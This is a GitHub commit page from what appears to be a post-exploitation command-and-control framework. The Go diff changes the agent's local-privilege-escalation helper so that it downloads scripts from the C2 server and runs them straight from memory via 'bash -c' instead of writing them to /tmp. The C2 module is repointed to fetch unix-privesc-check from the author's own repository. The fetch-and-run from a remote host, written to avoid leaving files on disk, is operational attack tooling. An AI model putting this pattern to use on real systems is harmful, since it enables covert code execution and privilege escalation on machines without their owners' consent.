Skip to content

Commit

Permalink
LPE suggestor: drop them all to memory
Browse files Browse the repository at this point in the history
  • Loading branch information
jm33-m0 committed Jan 14, 2021
1 parent c229000 commit cce6e44
Show file tree
Hide file tree
Showing 2 changed files with 8 additions and 5 deletions.
9 changes: 5 additions & 4 deletions core/internal/agent/getroot.go
Original file line number Diff line number Diff line change
Expand Up @@ -82,16 +82,17 @@ func GetRootXorg(ctx context.Context, cancel context.CancelFunc) (err error) {
// lpeHelper runs les and upc to suggest LPE methods
func lpeHelper(method string) string {
log.Printf("Downloading lpe script from %s", CCAddress+method)
_, err := DownloadViaCC(CCAddress+method, "/tmp/"+method)
var scriptData []byte
scriptData, err := DownloadViaCC(CCAddress+method, "")
if err != nil {
return "LPE error: " + err.Error()
}
lpe := fmt.Sprintf("/tmp/%s", method)

// run the script
log.Println("Running LPE suggest")
cmd := exec.Command("/bin/bash", lpe)
cmd := exec.Command("/bin/bash", "-c", string(scriptData))
if method == "lpe_upc" {
cmd = exec.Command("/bin/bash", lpe, "standard")
cmd = exec.Command("/bin/bash", "-c", string(scriptData))
}

outBytes, err := cmd.CombinedOutput()
Expand Down
4 changes: 3 additions & 1 deletion core/internal/cc/modgetroot.go
Original file line number Diff line number Diff line change
Expand Up @@ -8,8 +8,10 @@ import (
func moduleLPE() {
const (
lesURL = "https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh"
upcURL = "https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/1_x/unix-privesc-check"
// upcURL = "https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/1_x/unix-privesc-check"
upcURL = "https://raw.githubusercontent.com/jm33-m0/static-bins/main/vaccine/x86_64/unix-privesc-check"
)

// target
target := CurrentTarget
if target == nil {
Expand Down

0 comments on commit cce6e44

Please sign in to comment.